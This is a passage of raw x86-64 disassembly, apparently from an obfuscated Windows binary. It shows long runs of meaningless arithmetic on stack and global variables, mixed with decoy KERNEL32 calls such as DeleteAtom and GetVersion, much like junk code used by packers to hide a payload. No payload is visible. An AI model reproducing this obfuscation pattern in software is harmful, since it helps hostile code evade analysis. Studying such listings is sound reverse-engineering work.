mov rax, qword [rsp + 0x5538]
mov rcx, qword [rsp + 0x52d0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018be90], rax
movzx eax, word [rsp + 0xde0]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x38c8]
mov rcx, qword [rsp + 0x67e0]
mov qword [rsp + 0x71f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x71f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5668], rax
mov rax, qword [rsp + 0x34a0]
mov rcx, qword [rsp + 0x6030]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff0]
mov qword [rcx], rax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x7200], rax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x5998]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x10c], al
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x7208], rax
mov rax, qword [rsp + 0x6e80]
mov ecx, dword [rsp + 0x1b90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2060], eax
mov rax, qword [rsp + 0x5bb0]
mov rcx, qword [0x14018c188]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4570]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc1c]
mov word [0x14018c600], ax
lea rax, [rsp + 0x9a8]
mov qword [rsp + 0x7210], rax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc74], ax
movzx eax, word [rsp + 0x83c]
mov rcx, qword [rsp + 0x4460]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x994], ax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x7218], rax
mov rax, qword [rsp + 0x5608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5098]
mov qword [rsp + 0x7220], rax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0x52e8]
mov word [rcx], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x7228], rax
mov rcx, qword [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2b18]
mov rcx, qword [0x14018c430]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42d8]
mov rcx, qword [rsp + 0x6f58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6760]
mov rcx, qword [0x14018c5b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4350], rax
lea rax, [rsp + 0x5668]
mov qword [rsp + 0x7230], rax
movzx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4920]
mov word [rcx], ax
mov rax, qword [rsp + 0x5eb8]
mov ecx, dword [rsp + 0x21cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1dc0], eax
mov rax, qword [rsp + 0x64b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1be], al
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x7238], rax
mov eax, dword [rsp + 0x20bc]
mov rcx, qword [rsp + 0x6958]
mov qword [rsp + 0x7240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7240]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x6010]
mov qword [0x14018c608], rax
movsx eax, word [rsp + 0x4f8]
movsx ecx, word [rsp + 0xed4]
sub eax, ecx
mov rcx, qword [rsp + 0x5118]
mov word [rcx], ax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x7248], rax
movzx eax, word [rsp + 0xd58]
mov rcx, qword [rsp + 0x5438]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd7c], ax
lea rax, [rsp + 0x2b50]
mov qword [rsp + 0x7250], rax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3640], rax
mov eax, dword [rsp + 0x1c58]
mov rcx, qword [rsp + 0x3fa0]
mov qword [rsp + 0x7258], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7258]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x69d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x1fe], al
movsx eax, word [rsp + 0xb58]
movsx ecx, word [0x14018c080]
xor eax, ecx
mov word [rsp + 0xe44], ax
lea rax, [rsp + 0x4d8]
mov qword [0x14018c610], rax
lea rax, [rsp + 0x4730]
mov qword [rsp + 0x7260], rax
movzx ecx, word [rsp + 0xda4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x4098]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
or eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x51a8]
mov rcx, qword [rsp + 0x50d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov dword [rcx], eax
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0x7268], rax
mov rax, qword [rsp + 0x5628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a70]
mov qword [rsp + 0x7270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7270]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x44f8], rax
lea rax, [0x14018acd9]
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x6ef8]
mov rcx, qword [rsp + 0x6178]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1be0], eax
mov rax, qword [rsp + 0x6ca8]
movsx eax, word [rax]
movsx ecx, word [0x14018c074]
and eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab8]
add eax, ecx
mov rcx, qword [0x14018c340]
mov word [rcx], ax
lea rax, [rsp + 0x2b18]
mov qword [rsp + 0x7280], rax
mov rax, qword [0x14018c108]
mov rcx, qword [rsp + 0x3428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f10], rax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x7288], rax
mov rax, qword [rsp + 0x5d28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6808]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x41f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2010]
movzx ecx, al
mov eax, dword [rsp + 0x1e7c]
shr eax, cl
mov dword [rsp + 0x1b30], eax
mov rax, qword [rsp + 0x4c30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c2]
xor eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x67f8]
mov rcx, qword [rsp + 0x5560]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x45c0]
mov qword [rsp + 0x7290], rax
lea rax, [rsp + 0xe10]
mov qword [0x14018c618], rax
movzx eax, word [rsp + 0xe34]
movzx ecx, word [rsp + 0xd4c]
shl eax, cl
mov word [rsp + 0xad4], ax
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x7298], rax
mov rax, qword [rsp + 0x4fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x48a8]
mov rcx, qword [rsp + 0x6f40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5110]
mov qword [rcx], rax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x72a0], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f48]
mov dword [rcx], eax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x72a8], rax
mov rax, qword [rsp + 0x44c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x580]
sar eax, cl
mov word [rsp + 0xe70], ax
movzx eax, word [rsp + 0xaec]
mov rcx, qword [rsp + 0x53c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bfd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x71e0]
mov rcx, qword [rsp + 0x3880]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5ba8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2194], eax
lea rax, [0x14018bdc8]
mov qword [rsp + 0x72b0], rax
mov rax, qword [rsp + 0x6e30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xecc]
and eax, ecx
mov word [rsp + 0xca0], ax
lea rax, [rsp + 0x3098]
mov qword [rsp + 0x72b8], rax
mov rax, qword [rsp + 0x2e78]
mov rcx, qword [0x14018be10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54b0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x6648]
mov ecx, dword [0x14018ad48]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2050], eax
movzx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0x6f90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x5388]
movzx ecx, al
mov rax, qword [rsp + 0x48b8]
shl rax, cl
mov rcx, qword [0x14018c590]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x6a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b90], eax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x72c0], rax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov rcx, qword [0x14018c2c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6708]
mov byte [rcx], al
lea rax, [rsp + 0x46e8]
mov qword [rsp + 0x72c8], rax
mov rax, qword [0x14018c188]
mov ecx, dword [rsp + 0x2088]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f7c], eax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x72d0], rax
mov rax, qword [rsp + 0x68b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ade8], ax
mov rax, qword [0x14018c050]
mov rcx, qword [rsp + 0x6548]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x46c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x2ee0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x72d8], rax
mov rax, qword [0x14018c538]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5f40]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5708]
mov word [rcx], ax
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0x72e0], rax
movsx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x4290]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x6958]
mov ecx, dword [rsp + 0x1e00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x72e8], rax
mov rax, qword [rsp + 0x4c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1dc]
xor eax, ecx
mov rcx, qword [rsp + 0x5b40]
mov byte [rcx], al
mov rax, qword [0x14018c3d8]
movzx eax, word [rax]
mov word [0x14018c620], ax
movzx ecx, word [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe24], ax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x72f0], rax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [rsp + 0xd54]
or eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [0x14018adc8]
mov qword [rsp + 0x72f8], rax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21d0]
shl eax, cl
mov dword [rsp + 0x2124], eax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0xed]
sar eax, cl
mov rcx, qword [rsp + 0x49e0]
mov byte [rcx], al
lea rax, [rsp + 0x2e78]
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x54d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x554], ax
movzx eax, word [rsp + 0xcd8]
movzx ecx, word [rsp + 0xbc0]
sub eax, ecx
mov word [rsp + 0x4fc], ax
mov rax, qword [0x14018c290]
mov rcx, qword [rsp + 0x48b8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ad90], rax
movzx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x64b0]
mov word [rcx], ax
mov rax, qword [0x14018c0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49d0]
mov qword [rsp + 0x7308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7308]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4f50]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7310], rax
mov rax, qword [rsp + 0x2fc0]
mov qword [rsp + 0x7318], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x4798]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xca], al
lea rax, [0x14018c570]
mov qword [rsp + 0x7320], rax
movzx eax, byte [rsp + 0x1c6]
mov rcx, qword [rsp + 0x3f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b78]
mov ecx, dword [rsp + 0x216c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f04], eax
mov rax, qword [rsp + 0x5490]
mov rax, qword [rax]
mov rcx, qword [0x14018ad80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3458], rax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14018bdc4], ax
mov rax, qword [rsp + 0x7068]
movsx eax, word [rax]
mov rcx, qword [0x14018c5a0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
mov rax, qword [rsp + 0x55b8]
movzx eax, word [rax]
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x6700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9dc]
or eax, ecx
mov word [rsp + 0x6a8], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov dword [rsp + 0x2214], eax
mov rax, qword [rsp + 0x3f88]
mov rax, qword [rax]
mov rcx, qword [0x14018c448]
mov qword [rsp + 0x7328], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7328]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ab0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0x6d08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57b8]
mov byte [rcx], al
lea rax, [0x14018be7c]
mov qword [rsp + 0x7330], rax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6880]
mov rcx, qword [rsp + 0x6be8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018adf0], rax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x7338], rax
mov rax, qword [rsp + 0x2e48]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63d0]
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
sar rax, cl
mov qword [rsp + 0x4cc8], rax
lea rax, [rsp + 0xd98]
mov qword [rsp + 0x7340], rax
mov rax, qword [rsp + 0x43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
add eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov byte [rcx], al
lea rax, [rsp + 0x208c]
mov qword [rsp + 0x7348], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x20c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x1c1]
shl eax, cl
mov byte [rsp + 0x1bd], al
mov rax, qword [rsp + 0x5b48]
mov rax, qword [rax]
mov qword [0x14018c628], rax
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x7350], rax
mov rax, qword [rsp + 0x5498]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x658]
xor eax, ecx
mov rcx, qword [rsp + 0x5470]
mov word [rcx], ax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x7358], rax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x6b08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6440]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3f48]
mov qword [rsp + 0x7360], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7360]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
lea rax, [rsp + 0x6168]
mov qword [rsp + 0x7368], rax
mov rax, qword [rsp + 0x5400]
movsx eax, byte [rax]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5348]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x7370], rax
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018bee8], ax
mov rax, qword [0x14018c3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x6980]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x7378], rax
mov eax, dword [rsp + 0x20f4]
mov ecx, dword [rsp + 0x1fd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x44b0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2104], eax
movzx eax, byte [rsp + 0x1ba]
cdq
mov ecx, 0x35
idiv ecx
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0x2164]
mov qword [rsp + 0x7380], rax
mov rax, qword [rsp + 0x4f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
lea rax, [rsp + 0x5b68]
mov qword [rsp + 0x7388], rax
mov rax, qword [rsp + 0x49d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca0], ax
movzx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x5e58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bfd8]
mov word [rcx], ax
mov rax, qword [0x14018bfb0]
mov rcx, qword [rsp + 0x4b08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7280]
mov qword [rcx], rax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x7390], rax
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe64]
shl eax, cl
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
lea rax, [0x14018ad98]
mov qword [rsp + 0x7398], rax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x49e0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0x2e70]
mov rcx, qword [rsp + 0x6d48]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6500]
mov ecx, dword [rsp + 0x1e48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d44], eax
mov rax, qword [rsp + 0x5bc8]
movzx ecx, al
mov rax, qword [rsp + 0x39b8]
sar rax, cl
mov rcx, qword [rsp + 0x6290]
mov qword [rcx], rax
mov rax, qword [0x14018c180]
movzx eax, word [rax]
mov word [0x14018c630], ax
lea rax, [rsp + 0xea4]
mov qword [rsp + 0x73a0], rax
mov rax, qword [rsp + 0x4ea0]
mov rcx, qword [rsp + 0x6100]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d08], eax
movzx eax, byte [rsp + 0x1c6]
movzx ecx, byte [rsp + 0x14a]
and eax, ecx
mov rcx, qword [rsp + 0x6588]
mov byte [rcx], al
mov rax, qword [rsp + 0x70f8]
mov rax, qword [rax]
mov qword [rsp + 0x73a8], rax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
mov rax, qword [0x14018c188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cec], eax
movsx eax, byte [rsp + 0x1d5]
mov rcx, qword [rsp + 0x6350]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x73b0], rax
lea rax, [rsp + 0xab4]
mov qword [0x14018c638], rax
mov rax, qword [rsp + 0x4958]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x61a0]
sar rax, cl
mov rcx, qword [rsp + 0x6d38]
mov qword [rcx], rax
mov edx, 0x936
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2218], eax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd7c]
and eax, ecx
mov word [rsp + 0xc54], ax
movzx eax, word [rsp + 0xd74]
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x6f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x73b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x73b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3390], rax
mov rax, qword [rsp + 0x4b00]
mov rax, qword [rax]
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0x6bd8]
mov rcx, qword [rsp + 0x4008]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1f44], eax
movsx eax, byte [rsp + 0x157]
movsx ecx, byte [rsp + 0x1c5]
xor eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov byte [rcx], al
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x73c8], rax
mov rax, qword [rsp + 0x4bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5378]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b6], al
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x73d0], rax
movzx ecx, word [rsp + 0xe94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xedc], ax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [0x14018c5d0]
sar eax, cl
mov word [rsp + 0x3f8], ax
movzx eax, word [rsp + 0xc54]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5568]
mov word [rcx], ax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x6c90]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdcb]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x1c64]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5d48]
mov dword [rcx], eax
lea rax, [rsp + 0x30c8]
mov qword [rsp + 0x73d8], rax
mov rax, qword [rsp + 0x5738]
movsx eax, word [rax]
movsx ecx, word [0x14018c118]
and eax, ecx
mov rcx, qword [rsp + 0x49f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x56a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c208]
mov word [rcx], ax
lea rax, [rsp + 0x36e0]
mov qword [rsp + 0x73e0], rax
mov rax, qword [rsp + 0x4a50]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4928], rax
mov rax, qword [rsp + 0x72f8]
movzx ecx, al
mov rax, qword [rsp + 0x2d90]
sar rax, cl
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4980]
movzx eax, word [rax]
mov word [rsp + 0xef4], ax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [0x14018bdc7]
shl eax, cl
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x5ef0]
mov rcx, qword [rsp + 0x3930]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2c88], rax
mov rax, qword [rsp + 0x6a90]
mov rcx, qword [rsp + 0x5be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1b28], eax
mov rax, qword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x1f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2154], eax
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0x73e8], rax
lea rax, [rsp + 0xb58]
mov qword [0x14018c640], rax
movzx eax, word [rsp + 0x97c]
mov rcx, qword [rsp + 0x7120]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7340]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ad0]
movzx eax, word [rax]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x65c0]
mov rcx, qword [rsp + 0x65d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [0x14018ad80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0x73f0], rax
mov eax, dword [rsp + 0x21bc]
mov rcx, qword [rsp + 0x3e80]
mov qword [rsp + 0x73f8], rcx
movzx ecx, al
